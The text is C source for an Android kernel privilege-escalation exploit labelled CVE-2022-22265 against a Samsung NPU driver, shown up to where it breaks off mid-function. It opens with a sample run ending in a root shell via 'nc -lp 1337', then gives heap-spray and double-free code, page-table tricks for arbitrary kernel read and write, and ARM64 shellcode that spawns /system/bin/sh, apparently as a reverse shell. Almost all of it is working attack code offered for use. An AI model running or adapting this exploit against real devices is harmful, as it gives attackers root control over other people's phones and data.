ffffff806af4dc80 -> kworker/0:250H
ffffff806af4b780 -> kworker/0:251H
ffffff806af49280 -> kworker/0:252H
ffffff806af4a500 -> kworker/0:253H
ffffff806af48000 -> kworker/0:254H
ffffff806af54a00 -> kworker/0:255H
ffffff806af53780 -> kworker/0:257H
ffffff806d3e8000 -> ogle.android.as
ffffff88b7394a00 -> gle.android.gms
ffffff8819190000 -> com.wssyncmldm
ffffff8079931280 -> martsuggestions
ffffff8829613780 -> id.app.routines
ffffff801a0eb780 -> wifi.mobilewips
ffffff883b080000 -> irq/190-dwc3
ffffff882b694a00 -> com.samsung.cmh
ffffff884f7dca00 -> ung.android.scs
ffffff8867eb9280 -> kworker/5:2H
ffffff88a35d4a00 -> kbase_event
ffffff88393f8000 -> d.process.acore
ffffff88393fca00 -> ung.android.fmm
ffffff88b550a500 -> .app.aodservice
ffffff802527a500 -> sh
ffffff8008df8000 -> droid.messaging
ffffff8030e8b780 -> su
ffffff806d37b780 -> sh
ffffff8030e84a00 -> kworker/3:2
ffffff806ce14a00 -> d.beaconmanager
ffffff88a4c33780 -> droid.bluetooth
ffffff88bd54dc80 -> msung.klmsagent
ffffff8051923780 -> fwhdr_crc_wq
ffffff88f1ff8000 -> mxmgmt_thread_w
ffffff8051920000 -> mxlog_thread
ffffff88bcf7dc80 -> sh
ffffff88b3468000 -> cControlService
ffffff8059e6ca00 -> exp1337
[+] found current process
[+] current->files->fdt->fd 0xffffff88a3300000
[+] current->mm 0xffffff8834458b40
[+] current->mm->pgd 0xffffff88fee68000
[+] offset_logline 0x818
[+] offset_pud 0x1e4
[+] offset_pmd 0x190
[+] offset_pte 0x19
[+] pud 0x8000008b6e1c003
[+] pmd 0x8b6e1b003
[+] pte_logline 0x6000089aed9fc3
[+] shellcode injected into LogLine
[+] execute nc -lp 1337 and press key here
[+] trigger lpe
[+] look at root reverse shell :)
[+] LogLine function restaured
[+] clean up
[+] finish
a25x:/ $
a25x:/ $ nc -lp 1337
id
uid=0(root) gid=0(root) groups=0(root),3009(readproc) context=u:r:sec_system_init_shell:s0
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <stdbool.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <pthread.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <time.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/signalfd.h>
#include <signal.h>
#include <sys/stat.h>
#include <math.h>
#define OBJECT_SIZE 128
#define OBJS_PER_SLAB 32
#define CPU_PARTIAL 512
#define NUM_FILES 0x3800
#define NUM_TABLE 32
#define NUM_PTE 512
#define DMA_HEAP_IOC_MAGIC 'H'
#define DMA_HEAP_IOCTL_ALLOC _IOWR(DMA_HEAP_IOC_MAGIC, 0x0, struct dma_heap_allocation_data)
#define NCP_MAGIC1 0x0C0FFEE0
#define NCP_MAGIC2 0xC0DEC0DE
#define VS4L_DF_IMAGE(a, b, c, d) ((a) | (b << 8) | (c << 16) | (d << 24))
#define VS4L_DF_IMAGE_NPU VS4L_DF_IMAGE('N', 'P', 'U', '0')
#define VS4L_VERTEXIOC_S_GRAPH _IOW('V', 0, struct vs4l_graph)
#define VS4L_VERTEXIOC_S_FORMAT _IOW('V', 1, struct vs4l_format_list)
#define VS4L_VERTEXIOC_STREAM_ON _IO('V', 4)
#define VS4L_VERTEXIOC_STREAM_OFF _IO('V', 5)
#define MAX_PIPES 256
#define MAX_SIGNAL 32
#define N 1 // kcalloc arbitrary size N * 80 / 0 < N <= 16
#define LINUX_ARM64_IMAGE_MAGIC 0x644d5241
#define KERNEL_DATA 0x1de0000
#define SELINUX_STATE 0x3ea000
#define OFF_SELINUX_STATE 0x968
#define INIT_TASK 0x1d000
#define OFF_INIT_TASK 0xe80
#define OFFSET_TASKS 0x4c8
#define OFFSET_MM 0x518
#define OFFSET_PID 0x5c8
#define OFFSET_CRED 0x780
#define OFFSET_COMM 0x790
#define OFFSET_FS 0x7b8
#define OFFSET_FILES 0x7c0
#define OFFSET_PGD 0x48
#define OFFSET_FDT 0x20
#define OFFSET_FD 0x8
int fd;
int fd_read;
int pipefd[MAX_PIPES][2];
int fd_init[NUM_FILES];
int fd_cross[(CPU_PARTIAL * OBJS_PER_SLAB) + MAX_SIGNAL + 1];
char *map[NUM_TABLE][NUM_PTE];
uint32_t phys_off;
uint64_t pmd[4];
uint8_t offset_pgt;
sigset_t mask;
enum vs4l_direction {
VS4L_DIRECTION_IN = 1,
VS4L_DIRECTION_OT
};
struct vs4l_graph {
uint32_t id;
uint32_t priority;
uint32_t time; /* in millisecond */
uint32_t flags;
uint32_t size;
unsigned long addr;
};
struct vs4l_format_list {
uint32_t direction;
uint32_t count;
struct vs4l_format *formats;
};
struct vs4l_format {
uint32_t target;
uint32_t format;
uint32_t plane;
uint32_t width;
uint32_t height;
uint32_t stride;
uint32_t cstride;
uint32_t channels;
uint32_t pixel_format;
};
struct drv_user_share {
uint32_t id;
int ncp_fd;
uint32_t ncp_size;
unsigned long ncp_mmap;
};
struct dma_heap_allocation_data {
uint64_t len;
uint32_t fd;
uint32_t fd_flags;
uint64_t heap_flags;
};
struct ncp_header {
uint32_t magic_number1;
uint32_t hdr_version;
uint32_t hdr_size;
uint32_t intrinsic_version;
uint32_t net_id;
uint32_t unique_id;
uint32_t priority;
uint32_t flags;
uint32_t period;
uint32_t workload;
uint32_t total_flc_transfer_size;
uint32_t total_sdma_transfer_size;
uint32_t address_vector_offset;
uint32_t address_vector_cnt;
uint32_t memory_vector_offset;
uint32_t memory_vector_cnt;
uint32_t group_vector_offset;
uint32_t group_vector_cnt;
uint32_t thread_vector_offset;
uint32_t thread_vector_cnt;
uint32_t body_version;
uint32_t body_offset;
uint32_t body_size;
uint32_t io_vector_offset;
uint32_t io_vector_cnt;
uint32_t rq_vector_offset;
uint32_t rq_vector_size;
uint32_t reserved[8];
uint32_t magic_number2;
};
struct group_vector {
uint32_t index;
uint32_t id;
uint32_t type;
uint32_t size;
uint32_t status;
uint32_t flags;
uint32_t batch;
uint32_t intrinsic_offset;
uint32_t intrinsic_size;
uint32_t isa_offset;
uint32_t isa_size;
};
struct memory_vector {
uint32_t type;
uint32_t pixel_format;
uint32_t width;
uint32_t height;
uint32_t channels;
uint32_t wstride;
uint32_t cstride;
uint32_t address_vector_index;
};
struct address_vector {
uint32_t index;
uint32_t m_addr;
uint32_t s_addr;
uint32_t size;
};
enum ncp_memory_type {
MEMORY_TYPE_IN_FMAP, /* input feature map */
MEMORY_TYPE_OT_FMAP, /* output feature map */
MEMORY_TYPE_IM_FMAP, /* intermediate feature map */
MEMORY_TYPE_OT_PIX0,
MEMORY_TYPE_OT_PIX1,
MEMORY_TYPE_OT_PIX2,
MEMORY_TYPE_OT_PIX3,
MEMORY_TYPE_WEIGHT,
MEMORY_TYPE_WMASK,
MEMORY_TYPE_LUT,
MEMORY_TYPE_NCP,
MEMORY_TYPE_GOLDEN,
MEMORY_TYPE_CUCODE,
MEMORY_TYPE_MAX
};
struct ncp_blob {
uint32_t vector;
uint32_t offset;
uint32_t format;
uint32_t bpp;
uint32_t n;
uint32_t c;
uint32_t h;
uint32_t w;
uint32_t w_stride;
uint32_t c_stride;
uint32_t n_stride;
};
struct dma_simple_option {
uint32_t src_vector;
uint32_t src_offset;
uint32_t dst_vector;
uint32_t dst_offset;
uint32_t size;
};
struct dma_blob_option {
struct ncp_blob src;
struct ncp_blob dst;
};
struct io_desc {
uint32_t uid;
uint32_t bid;
uint32_t sgid;
uint32_t wait_flag;
uint32_t trig_flag;
uint32_t mode;
uint32_t pad;
uint32_t scale;
uint32_t bias;
union {
struct dma_simple_option simple;
struct dma_blob_option blob;
} option;
};
struct pipe_buffer {
uint64_t page;
uint32_t offset;
uint32_t len;
uint64_t ops;
uint32_t flags;
uint32_t pad;
uint64_t private;
};
struct pipe_buf_operations {
uint64_t confirm;
uint64_t release;
uint64_t steal;
uint64_t get;
};
struct dma_heap_allocation_data data;
struct drv_user_share user_data;
struct vs4l_graph graph;
struct ncp_header *ncp;
struct group_vector *gv;
struct address_vector *av;
struct memory_vector *mv;
#define MEMSTART 0x80000000UL
#define VIRTUAL_KERNEL_START 0xffffffc008000000UL
#define LINEAR_MAP_START 0xffffff8000000000UL
bool is_lm_addr(uint64_t kaddr)
{
return (kaddr & (VIRTUAL_KERNEL_START - (0x8 << (6 * 4)))) == LINEAR_MAP_START;
}
uint64_t virt_to_phys(uint64_t kaddr)
{
if (is_lm_addr(kaddr)) {
return kaddr - LINEAR_MAP_START + MEMSTART;
} else {
return kaddr - VIRTUAL_KERNEL_START + MEMSTART;
}
}
uint64_t phys_to_virt(uint64_t paddr, bool is_lm_addr)
{
if (is_lm_addr) {
return paddr + LINEAR_MAP_START - MEMSTART;
} else {
return paddr + VIRTUAL_KERNEL_START - MEMSTART;
}
}
uint64_t vmemmap = 0xffffffff00000000UL;
uint64_t virt_to_page(uint64_t kaddr)
{
return vmemmap + (((virt_to_phys(kaddr) - MEMSTART) >> 12) << 6);
}
uint64_t page_to_virt(uint64_t page, bool is_lm_addr)
{
return phys_to_virt((((page - vmemmap) >> 6) << 12) + MEMSTART, is_lm_addr);
}
int ncpu;
bool pin_cpu(int cpu) {
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0) {
perror("[-] sched_setafinnity(): ");
return false;
}
return true;
}
char *page, *victim;
#define TLB 0x28000UL
uint64_t *full_tlb;
/* replace tlb cache */
void replace_tlb(void) {
/* change context */
sync();
/* access pages */
uint32_t junk = 0;
for (uint32_t i = 0; i < TLB; i++) {
uint64_t idx = (uint64_t) (full_tlb + i * 512) & ~0x1fffff;
if (idx == pmd[0] || idx == pmd[1] || idx == pmd[2] || idx == pmd[3]) {
// printf("[*] avoiding pmd 0x%lx\n", idx);
continue;
}
full_tlb[i * 512] = i;
full_tlb[(i * 512) + 1] = i;
if (full_tlb[i * 512] && full_tlb[(i * 512) + 1]) junk++;
}
}
uint64_t read64(uint64_t addr) {
uint32_t off = addr & 0xfff;
/* replace tlb cache */
replace_tlb();
uint64_t pte = ((virt_to_phys(addr) >> 12) << 12) | 0xe8000000000f43;
*(uint64_t *) (victim + offset_pgt) = pte;
/* replace tlb cache */
replace_tlb();
uint64_t data = *(uint64_t *) (page + off);
return data;
}
void write64(uint64_t addr, uint64_t data) {
uint32_t off = addr & 0xfff;
/* replace tlb cache */
replace_tlb();
uint64_t pte = ((virt_to_phys(addr) >> 12) << 12) | 0xe8000000000f43;
*(uint64_t *) (victim + offset_pgt) = pte;
/* replace tlb cache */
replace_tlb();
*(uint64_t *) (page + off) = data;
}
void write32(uint64_t addr, uint32_t data) {
uint32_t off = addr & 0xfff;
/* replace tlb cache */
replace_tlb();
uint64_t pte = ((virt_to_phys(addr) >> 12) << 12) | 0xe8000000000f43;
*(uint64_t *) (victim + offset_pgt) = pte;
/* replace tlb cache */
replace_tlb();
*(uint32_t *) (page + off) = data;
}
void write16(uint64_t addr, uint16_t data) {
uint32_t off = addr & 0xfff;
/* replace tlb cache */
replace_tlb();
uint64_t pte = ((virt_to_phys(addr) >> 12) << 12) | 0xe8000000000f43;
*(uint64_t *) (victim + offset_pgt) = pte;
/* replace tlb cache */
replace_tlb();
*(uint16_t *) (page + off) = data;
}
void write8(uint64_t addr, uint8_t data) {
uint32_t off = addr & 0xfff;
/* replace tlb cache */
replace_tlb();
uint64_t pte = ((virt_to_phys(addr) >> 12) << 12) | 0xe8000000000f43;
*(uint64_t *) (victim + offset_pgt) = pte;
/* replace tlb cache */
replace_tlb();
*(page + off) = data;
}
uint32_t get_directory(uint64_t addr) {
return addr & 0x1ff;
}
void init_ncp_header(struct ncp_header *ncp) {
memset(ncp, 0x0, sizeof(struct ncp_header));
ncp->magic_number1 = NCP_MAGIC1;
ncp->magic_number2 = NCP_MAGIC2;
ncp->hdr_version = 24;
ncp->hdr_size = 4096;
ncp->intrinsic_version = 24;
ncp->memory_vector_cnt = 2;
ncp->memory_vector_offset = sizeof(struct ncp_header) * 3;
ncp->address_vector_cnt = 2;
ncp->address_vector_offset = sizeof(struct ncp_header) * 2;
//ncp->group_vector_cnt = 1;
//ncp->group_vector_offset = sizeof(struct ncp_header);
}
void prepare_graph(struct drv_user_share *user_data, struct vs4l_graph *graph, struct dma_heap_allocation_data *data) {
memset(user_data, 0x0, sizeof(struct drv_user_share));
user_data->ncp_fd = data->fd;
user_data->ncp_size = 0x1000;
memset(graph, 0x0, sizeof(struct vs4l_graph));
graph->addr = (unsigned long) user_data;
}
void do_graph_ioctl(int fd, struct ncp_header *ncp, struct address_vector *av, struct memory_vector *mv, struct vs4l_graph *graph, uint32_t type, uint32_t n) {
/*
* bpp = mv->pixel_format;
* cal_size = (bpp / 8) * mv->channels * mv->width * mv->height;
* if (av->size > cal_size) error
*/
ncp->memory_vector_cnt = n;
ncp->address_vector_cnt = n;
memset(av, 0x0, sizeof(struct address_vector));
av->index = 0;
memset(mv, 0x0, sizeof(struct memory_vector));
mv->type = type;
puts("[+] ioctl graph");
int ret = ioctl(fd, VS4L_VERTEXIOC_S_GRAPH, graph);
if (ret < 0) {
printf("[-] couldn't ioctl VS4L_VERTEXIOC_S_GRAPH: %d\n", errno);
exit(0);
}
}
void do_format_ioctl(int fd, uint32_t count, uint32_t direction, uint32_t f) {
struct vs4l_format format[3];
memset(format, 0x0, sizeof(format));
for (int j = 0; j < 3; j++) {
format[j].format = f;
format[j].height = 64;
format[j].width = 64;
format[j].pixel_format = 8;
format[j].channels = 15;
}
struct vs4l_format_list format_list;
memset(&format_list, 0x0, sizeof(struct vs4l_format_list));
format_list.count = count;
format_list.direction = direction;
format_list.formats = format;
puts("[+] ioctl format");
int ret = ioctl(fd, VS4L_VERTEXIOC_S_FORMAT, &format_list);
if (f != 1337) {
if (ret < 0) {
printf("[-] couldn't ioctl VS4L_VERTEXIOC_S_FORMAT: %d\n", errno);
exit(0);
}
}
}
void hexdump(uint64_t *buf, uint64_t size) {
for (int i = 0; i < size / 8; i += 2) {
printf("0x%x ", i * 8);
printf("%016lx %016lx\n", buf[i], buf[i + 1]);
}
}
char logline[576] = {0xFF, 0x03, 0x03, 0xD1, 0xFD, 0x7B, 0x06, 0xA9, 0xFC, 0x6F, 0x07, 0xA9, 0xFA, 0x67, 0x08, 0xA9, 0xF8, 0x5F, 0x09, 0xA9, 0xF6, 0x57, 0x0A, 0xA9, 0xF4, 0x4F, 0x0B, 0xA9, 0xFD, 0x83, 0x01, 0x91, 0x5C, 0xD0, 0x3B, 0xD5, 0xF6, 0x03, 0x02, 0x2A, 0xF4, 0x03, 0x01, 0x2A, 0x88, 0x17, 0x40, 0xF9, 0xF5, 0x03, 0x00, 0xAA, 0xC0, 0x03, 0x80, 0x52, 0xE1, 0x03, 0x1F, 0x2A, 0xE2, 0x03, 0x1F, 0x2A, 0xF3, 0x03, 0x04, 0xAA, 0xF7, 0x03, 0x03, 0xAA, 0xA8, 0x83, 0x1F, 0xF8, 0x29, 0x8D, 0x00, 0x94, 0xE0, 0x01, 0x00, 0x34, 0xC8, 0x0A, 0x00, 0x11, 0xDF, 0x16, 0x00, 0x71, 0xEA, 0x00, 0x80, 0x52, 0x09, 0x06, 0x80, 0x52, 0x0B, 0x00, 0xB0, 0x12, 0x08, 0x31, 0x8A, 0x1A, 0xE0, 0x23, 0x00, 0x91, 0xF7, 0xD7, 0x01, 0xA9, 0xE9, 0x07, 0x00, 0xF9, 0xEB, 0x23, 0x02, 0x29, 0xFF, 0xCF, 0x02, 0xA9, 0xF4, 0x2B, 0x00, 0xB9, 0x91, 0x91, 0x00, 0x94, 0x62, 0x00, 0x00, 0x14, 0x17, 0x03, 0x00, 0xB4, 0x1F, 0x20, 0x03, 0xD5, 0xE8, 0x2A, 0x1E, 0x10, 0xF9, 0x01, 0x00, 0x90, 0x08, 0xFD, 0xDF, 0x08, 0x28, 0x0D, 0x00, 0x36, 0x28, 0x03, 0x47, 0xF9, 0xB6, 0x7F, 0x3E, 0x29, 0xF7, 0x07, 0x00, 0xF9, 0xB5, 0x83, 0x1E, 0xF8, 0x00, 0x11, 0x40, 0xF9, 0xB4, 0x43, 0x1E, 0xB8, 0xB3, 0x83, 0x1D, 0xF8, 0x00, 0x0C, 0x00, 0xB4, 0x08, 0x00, 0x40, 0xF9, 0xA1, 0x33, 0x00, 0xD1, 0xA2, 0x43, 0x00, 0xD1, 0xE3, 0x23, 0x00, 0x91, 0xA4, 0x63, 0x00, 0xD1, 0xA5, 0x73, 0x00, 0xD1, 0x08, 0x19, 0x40, 0xF9, 0xA6, 0xA3, 0x00, 0xD1, 0x00, 0x01, 0x3F, 0xD6, 0x4A, 0x00, 0x00, 0x14, 0x1F, 0x20, 0x03, 0xD5, 0x08, 0x27, 0x1E, 0x10, 0xF8, 0x01, 0x00, 0x90, 0x08, 0xFD, 0xDF, 0x08, 0x08, 0x0D, 0x00, 0x36, 0x17, 0xF3, 0x46, 0xF9, 0xE0, 0x03, 0x17, 0xAA, 0xD4, 0x90, 0x00, 0x94, 0xF9, 0x01, 0x00, 0x90, 0x28, 0xEB, 0x46, 0xF9, 0x48, 0x04, 0x00, 0xB5, 0x00, 0x03, 0x80, 0x52, 0xD3, 0x8F, 0x00, 0x94, 0xF8, 0x03, 0x00, 0xAA, 0x09, 0x91, 0x00, 0x94, 0xFB, 0x03, 0x00, 0xAA, 0x1F, 0xFF, 0x00, 0xA9, 0x1F, 0x03, 0x00, 0xF9, 0x35, 0x90, 0x00, 0x94, 0x1F, 0x40, 0x00, 0xB1, 0x82, 0x0F, 0x00, 0x54, 0xFA, 0x03, 0x00, 0xAA, 0x1F, 0x5C, 0x00, 0xF1, 0xFB, 0x03, 0x00, 0xF9, 0xC2, 0x00, 0x00, 0x54, 0x48, 0x7B, 0x1F, 0x53, 0xFB, 0x03, 0x18, 0xAA, 0x68, 0x17, 0x00, 0x38, 0x5A, 0x01, 0x00, 0xB5, 0x0D, 0x00, 0x00, 0x14, 0x59, 0x0F, 0x40, 0xB2, 0x20, 0x07, 0x00, 0x91, 0xBF, 0x8F, 0x00, 0x94, 0x28, 0x0B, 0x00, 0x91, 0xFB, 0x03, 0x00, 0xAA, 0xF9, 0x01, 0x00, 0x90, 0x1A, 0x83, 0x00, 0xA9, 0x08, 0x03, 0x00, 0xF9, 0xE0, 0x03, 0x1B, 0xAA, 0xE1, 0x03, 0x40, 0xF9, 0xE2, 0x03, 0x1A, 0xAA, 0x22, 0x90, 0x00, 0x94, 0x7F, 0x6B, 0x3A, 0x38, 0x38, 0xEB, 0x06, 0xF9, 0x1F, 0x20, 0x03, 0xD5, 0x88, 0x22, 0x1E, 0x10, 0x08, 0xFD, 0xDF, 0x08, 0x48, 0x09, 0x00, 0x36, 0x28, 0xEB, 0x46, 0xF9, 0xE9, 0x01, 0x00, 0x90, 0x0A, 0x01, 0x40, 0x39, 0xB6, 0x7F, 0x3E, 0x29, 0x0B, 0x09, 0x40, 0xF9, 0xB5, 0x83, 0x1E, 0xF8, 0x29, 0x01, 0x47, 0xF9, 0xB4, 0x43, 0x1E, 0xB8, 0x5F, 0x01, 0x00, 0x72, 0xB3, 0x83, 0x1D, 0xF8, 0x68, 0x15, 0x88, 0x9A, 0x20, 0x11, 0x40, 0xF9, 0xE8, 0x07, 0x00, 0xF9, 0x00, 0x03, 0x00, 0xB4, 0x08, 0x00, 0x40, 0xF9, 0xA1, 0x33, 0x00, 0xD1, 0xA2, 0x43, 0x00, 0xD1, 0xE3, 0x23, 0x00, 0x91, 0xA4, 0x63, 0x00, 0xD1, 0xA5, 0x73, 0x00, 0xD1, 0x08, 0x19, 0x40, 0xF9, 0xA6, 0xA3, 0x00, 0xD1, 0x00, 0x01, 0x3F, 0xD6, 0xE0, 0x03, 0x17, 0xAA, 0x9B, 0x90, 0x00, 0x94, 0x88, 0x17, 0x40, 0xF9, 0xA9, 0x83, 0x5F, 0xF8, 0x1F, 0x01, 0x09, 0xEB, 0xC1, 0x08, 0x00, 0x54, 0xF4, 0x4F, 0x4B, 0xA9, 0xF6, 0x57, 0x4A, 0xA9, 0xF8, 0x5F, 0x49, 0xA9, 0xFA, 0x67, 0x48, 0xA9, 0xFC, 0x6F, 0x47, 0xA9, 0xFD, 0x7B, 0x46, 0xA9, 0xFF, 0x03, 0x03, 0x91, 0xC0, 0x03, 0x5F, 0xD6};
char shellcode[287] = {0xff, 0x03, 0x03, 0xd1, 0xfd, 0x7b, 0x06, 0xa9, 0xfc, 0x6f, 0x07, 0xa9, 0xfa, 0x67, 0x08, 0xa9, 0xf8, 0x5f, 0x09, 0xa9, 0xf6, 0x57, 0x0a, 0xa9, 0xf4, 0x4f, 0x0b, 0xa9, 0xc8, 0x15, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4, 0x1f, 0x00, 0x00, 0xf1, 0x01, 0x06, 0x00, 0x54, 0x00, 0x24, 0xa0, 0xf2, 0x01, 0x00, 0x80, 0xd2, 0x02, 0x00, 0x80, 0xd2, 0x03, 0x00, 0x80, 0xd2, 0x88, 0x1b, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4, 0x1f, 0x00, 0x00, 0xf1, 0x01, 0x05, 0x00, 0x54, 0x40, 0x00, 0x80, 0xd2, 0x21, 0x00, 0x80, 0xd2, 0x02, 0x00, 0x80, 0xd2, 0xc8, 0x18, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4, 0xf3, 0x03, 0x00, 0xaa, 0xe0, 0x03, 0x13, 0xaa, 0x01, 0x05, 0x00, 0x10, 0x02, 0x02, 0x80, 0xd2, 0x68, 0x19, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4, 0xe0, 0x03, 0x13, 0xaa, 0x01, 0x00, 0x80, 0xd2, 0xe2, 0x03, 0x1f, 0xaa, 0x08, 0x03, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4, 0xe0, 0x03, 0x13, 0xaa, 0x21, 0x00, 0x80, 0xd2, 0xe2, 0x03, 0x1f, 0xaa, 0x08, 0x03, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4, 0xe0, 0x03, 0x13, 0xaa, 0x41, 0x00, 0x80, 0xd2, 0xe2, 0x03, 0x1f, 0xaa, 0x08, 0x03, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4, 0xe0, 0x02, 0x00, 0x10, 0xf5, 0x03, 0x00, 0xaa, 0x16, 0x00, 0x80, 0xd2, 0xf5, 0x03, 0x00, 0xf9, 0xf6, 0x07, 0x00, 0xf9, 0xe1, 0x03, 0x00, 0x91, 0x02, 0x00, 0x80, 0xd2, 0xa8, 0x1b, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4, 0x00, 0x00, 0x80, 0xd2, 0x01, 0x00, 0x80, 0xd2, 0xc8, 0x0b, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4, 0xf4, 0x4f, 0x4b, 0xa9, 0xf6, 0x57, 0x4a, 0xa9, 0xf8, 0x5f, 0x49, 0xa9, 0xfa, 0x67, 0x48, 0xa9, 0xfc, 0x6f, 0x47, 0xa9, 0xfd, 0x7b, 0x46, 0xa9, 0xff, 0x03, 0x03, 0x91, 0xc0, 0x03, 0x5f, 0xd6, 0x02, 0x00, 0x05, 0x39, 0x7f, 0x00, 0x00, 0x01, 0x2f, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00};
int main(int argc, char *argv[]) {
pin_cpu(5);
puts("[+] CVE-2022-22265");
ncpu = sysconf(_SC_NPROCESSORS_ONLN);
/* set name process */
char *name = "exp1337";
prctl(PR_SET_NAME, name, 0, 0, 0);
puts("[+] mmap pages to phys r/w");
/* mmap spray pte */
uint64_t addr = 0x20000;
for (uint32_t i = 0; i < NUM_TABLE; i++) {
for (uint32_t j = 0; j < NUM_PTE; j++) {
if ((map[i][j] = mmap((void *) addr + (i * 0x200000) + (j * 0x1000), 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_SHARED|MAP_FIXED, -1, 0)) == MAP_FAILED) {
perror("[-] mmap()");
exit(0);
}
}
}
puts("[+] set num files");
/* set num files */
struct rlimit limit;
limit.rlim_cur = 4096 * 8;
limit.rlim_max = 4096 * 8;
if (setrlimit(RLIMIT_NOFILE, &limit) != 0) {
perror("[-] setrlimit()");
exit(0);
}
puts("[+] preparing pipe buffer");
/* pipe buffer to locating uaf */
for (int i = 0; i < MAX_PIPES; i++) {
// pin_cpu(i % ncpu);
if (pipe(pipefd[i]) < 0) {
printf("[-] pipe: %d\n", errno);
exit(0);
}
}
puts("[+] alloc dmabuf");
/* dmabuff manager */
int dma_fd = open("/dev/dma_heap/system", O_RDONLY);
if (dma_fd < 0) {
puts("[-] couldn't open /dev/dma_heap/system");
exit(0);
}
memset(&data, 0x0, sizeof(struct dma_heap_allocation_data));
data.len = 0x1000;
data.fd_flags = O_RDWR | O_CLOEXEC;
int ret = ioctl(dma_fd, DMA_HEAP_IOCTL_ALLOC, &data);
if (ret < 0) {
printf("[-] couldn't ioctl dma heap alloc: %d", errno);
exit(0);
}
puts("[+] mmap buffer to ncp object");
/* buffer ncp */
char *dma_buffer = mmap((void *) 0x10000, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, data.fd, 0);
if (dma_buffer == MAP_FAILED) {
printf("[-] couldn't mmap: %d", errno);
exit(0);
}
puts("[+] open /dev/vertex10");
/* driver vulnerable */
fd = open("/dev/vertex10", O_RDONLY);
if (fd < 0) {
puts("[-] couldn't open /dev/vertex10");
exit(0);
}
/* prepare graph */
prepare_graph(&user_data, &graph, &data);
/* init ncp */
ncp = (struct ncp_header *) dma_buffer;
av = (struct address_vector *) (ncp + 2);
mv = (struct memory_vector *) (ncp + 3);
init_ncp_header(ncp);
/* do graph ioctl */
do_graph_ioctl(fd, ncp, av, mv, &graph, MEMORY_TYPE_OT_FMAP, 2);
/* do format ioctl */
do_format_ioctl(fd, 2, VS4L_DIRECTION_IN, VS4L_DF_IMAGE_NPU);
/* do graph ioctl */
do_graph_ioctl(fd, ncp, av, mv, &graph, MEMORY_TYPE_OT_FMAP, N);
puts("[+] init signalfd spray to better cross cache");
/* init signalfd to better cross cache */
for (int i = 0; i < NUM_FILES; i++) {
// pin_cpu(i % ncpu);
mask.sig[0] = ~0; // | 0x40100
fd_init[i] = signalfd(-1, &mask, 0);
if (fd_init[i] < 0) {
printf("[-] signalfd: %d\n", errno);
exit(0);
}
}
uint32_t i = 0, fd_idx = 0, offset = 0;
puts("[+] start signalfd cross cache");
/* start cross cache */
for (i = 0; i < (CPU_PARTIAL * OBJS_PER_SLAB); i++) {
// pin_cpu(i % ncpu);
mask.sig[0] = ~0; // | 0x40100
fd_cross[i] = signalfd(-1, &mask, 0);
if (fd_cross[i] < 0) {
printf("[-] signalfd: %d\n", errno);
exit(0);
}
}
offset = i;
/* do format ioctl */
do_format_ioctl(fd, N, VS4L_DIRECTION_IN, 1337);
puts("[+] getting vulnerable object (from signalfd)");
/* getting object vulnerable */
for (i = 0; i < MAX_SIGNAL; i++) {
// pin_cpu(i % ncpu);
mask.sig[0] = ~0; // | 0x40100
fd_cross[offset + i] = signalfd(-1, &mask, 0);
if (fd_cross[offset + i] < 0) {
printf("[-] signalfd: %d\n", errno);
exit(0);
}
}
/* do graph ioctl */
do_graph_ioctl(fd, ncp, av, mv, &graph, MEMORY_TYPE_OT_FMAP, N);
/* do format ioctl */
do_format_ioctl(fd, 3, VS4L_DIRECTION_OT, VS4L_DF_IMAGE_NPU);
puts("[+] ioctl streamon");
ret = ioctl(fd, VS4L_VERTEXIOC_STREAM_ON);
if (ret < 0) {
printf("[-] couldn't ioctl VS4L_VERTEXIOC_STREAM_ON: %d\n", errno);
exit(0);
}
puts("[+] ioctl streamoff (double free)");
/* double free vulnerable object */
ret = ioctl(fd, VS4L_VERTEXIOC_STREAM_OFF);
if (ret < 0) {
printf("[-] couldn't ioctl VS4L_VERTEXIOC_STREAM_OFF: %d\n", errno);
exit(0);
}
puts("[+] spray pipe_buffer");
/* spray pipe_buffer */
char buf[(2 << 12)];
for (int64_t i = 0; i < MAX_PIPES; i++) {
// pin_cpu(i % ncpu);
// The arg has to be pow of 2
if (fcntl(pipefd[i][1], F_SETPIPE_SZ, 4096 * 2) < 0) {
printf("[-] fcntl: %d\n", errno);
exit(0);
}
*(int64_t *) buf = i;
if (write(pipefd[i][1], buf, (1 << 12) + 8) < 0) {
printf("[-] write: %d\n", errno);
exit(0);
}
}
int pos = -1;
uint64_t leak;
char file[64] = {0};
char buffer[256] = {0};
puts("[+] locating vulnerable signalfd object (uaf)");
/* locating vulnerable object (uaf) */
for (uint32_t j = 0; j < MAX_SIGNAL; j++) {
snprintf(file, 26, "/proc/self/fdinfo/%d", fd_cross[offset + j]);
fd_read = open(file, O_RDONLY);
if (fd_read < 0) {
printf("[-] open: %d\n", errno);
exit(0);
}
int n = read(fd_read, buffer, 72);
if (n < 0) {
printf("[-] read: %d\n", errno);
exit(0);
}
if (strncmp(&buffer[47], "fffffffffffbfeff", 16)) {
leak = ~strtoul(&buffer[47], (char **) NULL, 16);
printf("[+] pipe_buffer->page leak: 0x%016lx\n", leak);
printf("[+] pipe_buffer->page to virt: 0x%016lx\n", page_to_virt(leak, true));
printf("[+] pipe_buffer->page to virt to page: 0x%016lx\n", virt_to_page(page_to_virt(leak, true)));
fd_idx = offset + j;
break;
}
bzero(file, 26);
bzero(buffer, 72);
}
if (fd_idx) {
